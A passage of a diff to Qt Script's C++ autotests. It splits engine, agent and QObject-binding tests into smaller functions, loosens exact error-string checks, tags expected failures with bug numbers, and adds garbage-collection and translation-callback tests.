+ QVERIFY(eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+ QVERIFY(eng1.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(proto1));
+}
+
+void tst_QScriptEngine::reentrancy_globalObjectProperties()
+{
+ QScriptEngine eng1;
+ QScriptEngine eng2;
+ QVERIFY(!eng2.globalObject().property("a").isValid());
+ eng1.evaluate("a = 10");
+ QVERIFY(eng1.globalObject().property("a").isNumber());
+ QVERIFY(!eng2.globalObject().property("a").isValid());
+ eng2.evaluate("a = 20");
+ QVERIFY(eng2.globalObject().property("a").isNumber());
+ QCOMPARE(eng1.globalObject().property("a").toInt32(), 10);
+}
+
+void tst_QScriptEngine::reentrancy_Array()
+{
// weird bug with JSC backend
{
QScriptEngine eng;
@@ -4540,79 +4724,82 @@ void tst_QScriptEngine::reentrancy()
QScriptEngine eng;
QCOMPARE(eng.evaluate("Array()").toString(), QString());
}
+}
+void tst_QScriptEngine::reentrancy_objectCreation()
+{
+ QScriptEngine eng1;
+ QScriptEngine eng2;
{
- QScriptEngine eng1;
- QScriptEngine eng2;
- {
- QScriptValue d1 = eng1.newDate(0);
- QScriptValue d2 = eng2.newDate(0);
- QCOMPARE(d1.toDateTime(), d2.toDateTime());
- QCOMPARE(d2.toDateTime(), d1.toDateTime());
- }
- {
- QScriptValue r1 = eng1.newRegExp("foo", "gim");
- QScriptValue r2 = eng2.newRegExp("foo", "gim");
- QCOMPARE(r1.toRegExp(), r2.toRegExp());
- QCOMPARE(r2.toRegExp(), r1.toRegExp());
- }
- {
- QScriptValue o1 = eng1.newQObject(this);
- QScriptValue o2 = eng2.newQObject(this);
- QCOMPARE(o1.toQObject(), o2.toQObject());
- QCOMPARE(o2.toQObject(), o1.toQObject());
- }
- {
- QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject);
- QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject);
- QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject());
- QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject());
- }
+ QScriptValue d1 = eng1.newDate(0);
+ QScriptValue d2 = eng2.newDate(0);
+ QCOMPARE(d1.toDateTime(), d2.toDateTime());
+ QCOMPARE(d2.toDateTime(), d1.toDateTime());
+ }
+ {
+ QScriptValue r1 = eng1.newRegExp("foo", "gim");
+ QScriptValue r2 = eng2.newRegExp("foo", "gim");
+ QCOMPARE(r1.toRegExp(), r2.toRegExp());
+ QCOMPARE(r2.toRegExp(), r1.toRegExp());
+ }
+ {
+ QScriptValue o1 = eng1.newQObject(this);
+ QScriptValue o2 = eng2.newQObject(this);
+ QCOMPARE(o1.toQObject(), o2.toQObject());
+ QCOMPARE(o2.toQObject(), o1.toQObject());
+ }
+ {
+ QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject);
+ QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject);
+ QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject());
+ QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject());
}
}
-void tst_QScriptEngine:: incDecNonObjectProperty()
+void tst_QScriptEngine::jsIncDecNonObjectProperty()
{
+ // This is testing ECMA-262 compliance, not C++ API.
+
QScriptEngine eng;
{
QScriptValue ret = eng.evaluate("var a; a.n++");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a; a.n--");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a = null; a.n++");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a = null; a.n--");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a; ++a.n");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a; --a.n");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a; a.n += 1");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a; a.n -= 1");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
QScriptValue ret = eng.evaluate("var a = 'ciao'; a.length++");
@@ -5125,6 +5312,21 @@ void tst_QScriptEngine::translateScriptUnicodeIdBased()
QVERIFY(!engine.hasUncaughtException());
}
+void tst_QScriptEngine::translateFromBuiltinCallback()
+{
+ QScriptEngine eng;
+ eng.installTranslatorFunctions();
+
+ // Callback has no translation context.
+ eng.evaluate("function foo() { qsTr('foo'); }");
+
+ // Stack at translation time will be:
+ // qsTr, foo, forEach, global
+ // qsTr() needs to walk to the outer-most (global) frame before it finds
+ // a translation context, and this should not crash.
+ eng.evaluate("[10,20].forEach(foo)", "script.js");
+}
+
void tst_QScriptEngine::functionScopes()
{
QScriptEngine eng;
@@ -5132,7 +5334,7 @@ void tst_QScriptEngine::functionScopes()
// top-level functions have only the global object in their scope
QScriptValue fun = eng.evaluate("(function() {})");
QVERIFY(fun.isFunction());
- QEXPECT_FAIL("", "Function scope proxying is not implemented", Abort);
+ QEXPECT_FAIL("", "QScriptValue::scope() is internal, not implemented", Abort);
QVERIFY(fun.scope().isObject());
QVERIFY(fun.scope().strictlyEquals(eng.globalObject()));
QVERIFY(!eng.globalObject().scope().isValid());
@@ -5436,6 +5638,7 @@ void tst_QScriptEngine::collectGarbageAfterConnect()
.isUndefined());
QVERIFY(widget != 0);
engine.evaluate("widget = null;");
+ // The connection should not keep the widget alive.
collectGarbage_helper(engine);
QVERIFY(widget == 0);
}
@@ -5599,6 +5802,17 @@ void tst_QScriptEngine::reentrency()
void tst_QScriptEngine::newFixedStaticScopeObject()
{
+ // "Static scope objects" is an optimization we do for QML.
+ // It enables the creation of JS objects that can guarantee to the
+ // compiler that no properties will be added or removed. This enables
+ // the compiler to generate a very simple (fast) property access, as
+ // opposed to a full virtual lookup. Due to the inherent use of scope
+ // chains in QML, this can make a huge difference (10x improvement for
+ // benchmark in QTBUG-8576).
+ // Ideally we would not need a special object type for this, and the
+ // VM would dynamically optimize it to be fast...
+ // See also QScriptEngine benchmark.
+
QScriptEngine eng;
static const int propertyCount = 4;
QString names[] = { "foo", "bar", "baz", "Math" };
@@ -5739,6 +5953,11 @@ void tst_QScriptEngine::newFixedStaticScopeObject()
void tst_QScriptEngine::newGrowingStaticScopeObject()
{
+ // The main use case for a growing static scope object is to set it as
+ // the activation object of a QScriptContext, so that all JS variable
+ // declarations end up in that object. It needs to be "growable" since
+ // we don't know in advance how many variables a script will declare.
+
QScriptEngine eng;
QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(&eng);
@@ -5826,10 +6045,10 @@ void tst_QScriptEngine::newGrowingStaticScopeObject()
{
QScriptValue fun = eng.evaluate("(function() { return futureProperty; })");
QVERIFY(fun.isFunction());
- QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty"));
+ QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError")));
scope.setProperty("futureProperty", "added after the function was compiled");
// If scope were dynamic, this would return the new property.
- QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty"));
+ QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError")));
}
eng.popContext();
diff --git a/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp b/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
index dce09d3..065f099 100644
--- a/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
+++ b/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
@@ -73,6 +73,7 @@ signals:
void testSignal(double arg);
private slots:
+ void unloadRecursion();
void scriptLoadAndUnload_statement();
void scriptLoadAndUnload();
void scriptLoadAndUnload_eval();
@@ -345,6 +346,46 @@ QVariant ScriptEngineSpy::extension(Extension ext, const QVariant &arg)
return QVariant();
}
+static void collectScriptObjects(QScriptEngine *engine)
+{
+ // We call garbage collection few times to collect objects that
+ // are unreferenced after first gc. We try to force full gc.
+ engine->collectGarbage();
+ engine->collectGarbage();
+ engine->collectGarbage();
+}
+
+class EvaluatingAgent : public QScriptEngineAgent {
+public:
+ EvaluatingAgent(QScriptEngine *engine)
+ : QScriptEngineAgent(engine)
+ , count(0)
+ {}
+
+ virtual void scriptUnload(qint64)
+ {
+ if (++count > 10) // recursion breaker.
+ return;
+ // check if recursive evaluation works
+ engine()->evaluate(";");
+ collectScriptObjects(engine());
+ }
+
+ bool isOk() const { return count > 10; }
+private:
+ int count;
+};
+
+void tst_QScriptEngineAgent::unloadRecursion()
+{
+ QScriptEngine engine;
+ EvaluatingAgent *agent = new EvaluatingAgent(&engine);
+ engine.setAgent(agent);
+ engine.evaluate(";");
+ collectScriptObjects(&engine);
+ QVERIFY(agent->isOk());
+}
+
void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
{
QScriptEngine eng;
@@ -358,6 +399,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
int lineNumber = 123;
eng.evaluate(code, fileName, lineNumber);
+ // Script object have to be garbage collected first.
+ collectScriptObjects(&eng);
QCOMPARE(spy->count(), 2);
QCOMPARE(spy->at(0).type, ScriptEngineEvent::ScriptLoad);
@@ -377,6 +420,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
int lineNumber = 456;
eng.evaluate(code, fileName, lineNumber);
+ // Script object have to be garbage collected first.
+ collectScriptObjects(&eng);
QCOMPARE(spy->count(), 2);
QCOMPARE(spy->at(0).type, ScriptEngineEvent::ScriptLoad);
@@ -414,7 +459,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
code = "foo = null";
eng.evaluate(code);
- QCOMPARE(spy->count(), 3);
+ collectScriptObjects(&eng); // foo() is GC'ed
+ QCOMPARE(spy->count(), 4);
QCOMPARE(spy->at(1).type, ScriptEngineEvent::ScriptLoad);
QVERIFY(spy->at(1).scriptId != -1);
@@ -425,8 +471,6 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
QCOMPARE(spy->at(2).type, ScriptEngineEvent::ScriptUnload);
QCOMPARE(spy->at(2).scriptId, spy->at(1).scriptId);
- eng.collectGarbage(); // foo() is GC'ed
- QCOMPARE(spy->count(), 4);
QCOMPARE(spy->at(3).type, ScriptEngineEvent::ScriptUnload);
QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
}
@@ -448,6 +492,7 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
code = "bar = foo(); foo = null";
eng.evaluate(code);
+ collectScriptObjects(&eng);
QCOMPARE(spy->count(), 3);
QCOMPARE(spy->at(1).type, ScriptEngineEvent::ScriptLoad);
@@ -458,14 +503,12 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
QCOMPARE(spy->at(2).type, ScriptEngineEvent::ScriptUnload);
QCOMPARE(spy->at(2).scriptId, spy->at(1).scriptId);
- eng.collectGarbage(); // foo() is not GC'ed
+ collectScriptObjects(&eng); // foo() is not GC'ed
QCOMPARE(spy->count(), 3);
code = "bar = null";
eng.evaluate(code);
- QCOMPARE(spy->count(), 5);
-
- eng.collectGarbage(); // foo() is GC'ed
+ collectScriptObjects(&eng); // foo() is GC'ed
QCOMPARE(spy->count(), 6);
}
delete spy;
@@ -1248,7 +1291,7 @@ void tst_QScriptEngineAgent::positionChange_1()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, lineNumber);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 8);
// 5 + 6
@@ -1283,7 +1326,7 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QVERIFY(spy->at(1).scriptId != spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, lineNumber);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 18);
}
@@ -1302,7 +1345,7 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 11);
}
@@ -1333,14 +1376,14 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 31);
// void(i)
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 31);
}
@@ -1359,21 +1402,21 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 12);
// ++i
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 28);
// ++i
QCOMPARE(spy->at(3).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(3).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(3).columnNumber, 28);
}
@@ -1392,28 +1435,28 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 12);
// ++i
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 17);
// do
QCOMPARE(spy->at(3).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(3).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(3).columnNumber, 12);
// ++i
QCOMPARE(spy->at(4).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(4).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(4).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(4).columnNumber, 17);
}
@@ -1444,7 +1487,7 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 15);
}
@@ -1463,14 +1506,14 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 32);
// continue
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 32);
}
@@ -1513,7 +1556,7 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 31);
}
@@ -1532,14 +1575,14 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 38);
// break
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 45);
}
@@ -1564,21 +1607,21 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(0).type, ScriptEngineEvent::PositionChange);
QVERIFY(spy->at(0).scriptId != -1);
QCOMPARE(spy->at(0).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(0).columnNumber, 7);
// i = e
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 29);
// i = 2
QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(2).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(2).columnNumber, 48);
}
@@ -1591,14 +1634,14 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(0).type, ScriptEngineEvent::PositionChange);
QVERIFY(spy->at(0).scriptId != -1);
QCOMPARE(spy->at(0).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(0).columnNumber, 7);
// i = 3
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 46);
}
@@ -1620,7 +1663,7 @@ void tst_QScriptEngineAgent::positionChange_2()
QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
QCOMPARE(spy->at(1).lineNumber, 1);
- QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+ QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
QCOMPARE(spy->at(1).columnNumber, 20);
}
delete spy;
@@ -2204,8 +2247,7 @@ void tst_QScriptEngineAgent::syntaxError()
QCOMPARE(spy->at(i).scriptId, spy->at(0).scriptId);
QVERIFY(!spy->at(i).hasExceptionHandler);
QVERIFY(spy->at(i).value.isError());
- QEXPECT_FAIL("","QTBUG-6137 There are other messages in JSC",Continue);
- QCOMPARE(spy->at(i).value.toString(), QString("SyntaxError: Expected `}'"));
+ QVERIFY(spy->at(i).value.toString().contains(QLatin1String("SyntaxError")));
QCOMPARE(spy->at(i).scriptId, spy->at(0).scriptId);
i = 7;
//exit script
diff --git a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
index cb29586..c53abcb 100644
--- a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
+++ b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
@@ -549,10 +549,19 @@ private slots:
void getSetDynamicProperty_doNotHideJSProperty();
void getSetChildren();
void callQtInvokable();
+ void callQtInvokable2();
+ void callQtInvokable3();
+ void callQtInvokable4();
+ void callQtInvokable5();
+ void callQtInvokable6();
+ void callQtInvokable7();
void connectAndDisconnect();
+ void connectAndDisconnect_emitFromJS();
+ void connectAndDisconnect_senderWrapperCollected();
void connectAndDisconnectWithBadArgs();
void connectAndDisconnect_senderDeleted();
void cppConnectAndDisconnect();
+ void cppConnectAndDisconnect2();
void classEnums();
void classConstructor();
void overrideInvokable();
@@ -999,8 +1008,9 @@ void tst_QScriptExtQObject::getSetStaticProperty_methodPersistence()
QVERIFY(slot.isFunction());
QScriptValue sameSlot = m_engine->evaluate("myObject.mySlot");
QVERIFY(sameSlot.strictlyEquals(slot));
- sameSlot = m_engine->evaluate("myObject[mySlot()]");
- QEXPECT_FAIL("", "Signature-based method lookup creates new function wrapper object", Continue);
+ sameSlot = m_engine->evaluate("myObject['mySlot()']");
+ QVERIFY(sameSlot.isFunction());
+ QEXPECT_FAIL("", "QTBUG-17611: Signature-based method lookup creates new function wrapper object", Continue);
QVERIFY(sameSlot.strictlyEquals(slot));
}
}
@@ -1094,7 +1104,7 @@ void tst_QScriptExtQObject::getSetDynamicProperty_doNotHideJSProperty()
val.setProperty("x", 42);
m_myObject->setProperty("x", 2222);
- QEXPECT_FAIL("", "", Continue);
+ QEXPECT_FAIL("", "QTBUG-17612: Dynamic C++ property overrides JS property", Continue);
// JS should see the original JS value
QVERIFY(val.property("x").strictlyEquals(QScriptValue(m_engine, 42)));
@@ -1270,7 +1280,10 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(m_myObject->qtFunctionActuals().size(), 2);
QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 123);
QCOMPARE(m_myObject->qtFunctionActuals().at(1).toInt(), 456);
+}
+void tst_QScriptExtQObject::callQtInvokable2()
+{
m_myObject->resetQtFunctionInvoked();
QVERIFY(m_engine->evaluate("myObject.myInvokableWithVoidStarArg(null)").isUndefined());
QCOMPARE(m_myObject->qtFunctionInvoked(), 44);
@@ -1359,7 +1372,10 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(ret.isArray(), true);
QCOMPARE(m_myObject->qtFunctionInvoked(), 11);
}
+}
+void tst_QScriptExtQObject::callQtInvokable3()
+{
{
QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithVectorOfIntArg(myObject.myInvokableReturningVectorOfInt())");
QCOMPARE(ret.isUndefined(), true);
@@ -1485,7 +1501,10 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(ret.property("0").strictlyEquals(QScriptValue(m_engine, 1)), true);
QCOMPARE(ret.property("1").strictlyEquals(QScriptValue(m_engine, 5)), true);
}
+}
+void tst_QScriptExtQObject::callQtInvokable4()
+{
m_myObject->resetQtFunctionInvoked();
{
QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithQObjectStarArg(myObject)");
@@ -1571,7 +1590,10 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(v.userType(), int(QMetaType::ULongLong));
QCOMPARE(qvariant_cast<qulonglong>(v), qulonglong(123));
}
+}
+void tst_QScriptExtQObject::callQtInvokable5()
+{
m_myObject->resetQtFunctionInvoked();
{
QScriptValue fun = m_engine->evaluate("myObject.myInvokableWithQBrushArg");
@@ -1659,7 +1681,10 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(m_myObject->qtFunctionActuals().size(), 1);
QCOMPARE(qvariant_cast<QObject*>(m_myObject->qtFunctionActuals().at(0)), (QObject*)m_myObject);
}
+}
+void tst_QScriptExtQObject::callQtInvokable6()
+{
// QScriptValue arguments should be passed on without conversion
m_myObject->resetQtFunctionInvoked();
{
@@ -1723,18 +1748,21 @@ void tst_QScriptExtQObject::callQtInvokable()
QCOMPARE(m_myObject->qtFunctionInvoked(), 55);
}
}
+}
+void tst_QScriptExtQObject::callQtInvokable7()
+{
// qscript_call()
{
m_myObject->resetQtFunctionInvoked();
QScriptValue ret = m_engine->evaluate("new myObject(123)");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a constructor."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
{
m_myObject->resetQtFunctionInvoked();
QScriptValue ret = m_engine->evaluate("myObject(123)");
- QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a function."));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
}
// task 233624
@@ -1971,9 +1999,10 @@ void tst_QScriptExtQObject::connectAndDisconnect()
QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject, 'mySlot')").isUndefined());
QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(yetAnotherObject, 'func')").isUndefined());
QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(myObject, 'mySlot')").isUndefined());
+}
- // check that emitting signals from script works
-
+void tst_QScriptExtQObject::connectAndDisconnect_emitFromJS()
+{
// no arguments
QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined());
m_myObject->resetQtFunctionInvoked();
